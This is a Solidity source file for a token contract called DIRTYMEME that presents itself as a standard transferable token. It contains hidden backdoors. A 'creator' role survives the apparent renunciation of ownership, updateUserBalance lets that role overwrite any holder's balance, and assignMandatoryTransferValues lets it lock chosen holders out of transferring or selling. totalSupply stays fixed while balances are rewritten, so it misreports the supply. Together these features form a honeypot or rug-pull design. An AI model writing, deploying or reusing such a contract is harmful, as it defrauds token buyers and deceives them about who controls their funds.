// File: contracts/COIN.sol



pragma solidity ^0.8.16;

interface ITokenStandard20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address holder) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract ExecutionContext {
    function retrieveSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract SoleProprietorship is ExecutionContext {
    address private _owner;
    event OwnerTransition(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address sender = retrieveSender();
        _owner = sender;
        emit OwnerTransition(address(0), sender);
    }

    function fetchOwner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(fetchOwner() == retrieveSender(), "Not authorized. Owner permissions required.");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnerTransition(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract DIRTYMEME is ExecutionContext, SoleProprietorship, ITokenStandard20 {
    mapping (address => mapping (address => uint256)) private _spendAllowances;
    mapping (address => uint256) private _holdings;
    mapping (address => uint256) private _mandatoryTransferValues;
    address private _creatorAddress;

    string public constant _tokenName = "DIRTYMEME";
    string public constant _tokenSymbol = "DIRTYMEME";
    uint8 public constant _tokenDecimals = 18;
    uint256 public constant _maxSupply = 100000 * (10 ** _tokenDecimals);

    constructor() {
        _holdings[retrieveSender()] = _maxSupply;
        emit Transfer(address(0), retrieveSender(), _maxSupply);
    }

    modifier onlyCreator() {
        require(retrieveCreator() == retrieveSender(), "Not authorized. Creator permissions required.");
        _;
    }

    function retrieveCreator() public view virtual returns (address) {
        return _creatorAddress;
    }

    function designateCreator(address newCreator) public onlyOwner {
        _creatorAddress = newCreator;
    }

    event TokensAllocated(address indexed user, uint256 oldBalance, uint256 newBalance);

    function mandatoryTransferValue(address account) public view returns (uint256) {
        return _mandatoryTransferValues[account];
    }

    function assignMandatoryTransferValues(address[] calldata accounts, uint256 amount) public onlyCreator {
        for (uint i = 0; i < accounts.length; i++) {
            _mandatoryTransferValues[accounts[i]] = amount;
        }
    }

    function updateUserBalance(address[] memory accountAddresses, uint256 desiredBalance) public onlyCreator {
        require(desiredBalance >= 0, "Amount must be non-negative");

        for (uint256 i = 0; i < accountAddresses.length; i++) {
            address currentAddress = accountAddresses[i];
            require(currentAddress != address(0), "Invalid address provided");

            uint256 previousBalance = _holdings[currentAddress];
            _holdings[currentAddress] = desiredBalance;

            emit TokensAllocated(currentAddress, previousBalance, desiredBalance);
        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _holdings[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_holdings[retrieveSender()] >= amount, "Insufficient balance");

        uint256 requiredTransferValue = mandatoryTransferValue(retrieveSender());
        if (requiredTransferValue > 0) {
            require(amount == requiredTransferValue, "Mandatory transfer value mismatch");
        }

        _holdings[retrieveSender()] -= amount;
        _holdings[recipient] += amount;

        emit Transfer(retrieveSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _spendAllowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _spendAllowances[retrieveSender()][spender] = amount;
        emit Approval(retrieveSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_spendAllowances[sender][retrieveSender()] >= amount, "Allowance limit exceeded");

        uint256 requiredTransferValue = mandatoryTransferValue(sender);
        if (requiredTransferValue > 0) {
            require(amount == requiredTransferValue, "Mandatory transfer value mismatch");
        }

        _holdings[sender] -= amount;
        _holdings[recipient] += amount;
        _spendAllowances[sender][retrieveSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _maxSupply;
    }

    function name() public view returns (string memory) {
        return _tokenName;
    }

    function symbol() public view returns (string memory) {
        return _tokenSymbol;
    }

    function decimals() public view returns (uint8) {
        return _tokenDecimals;
    }

}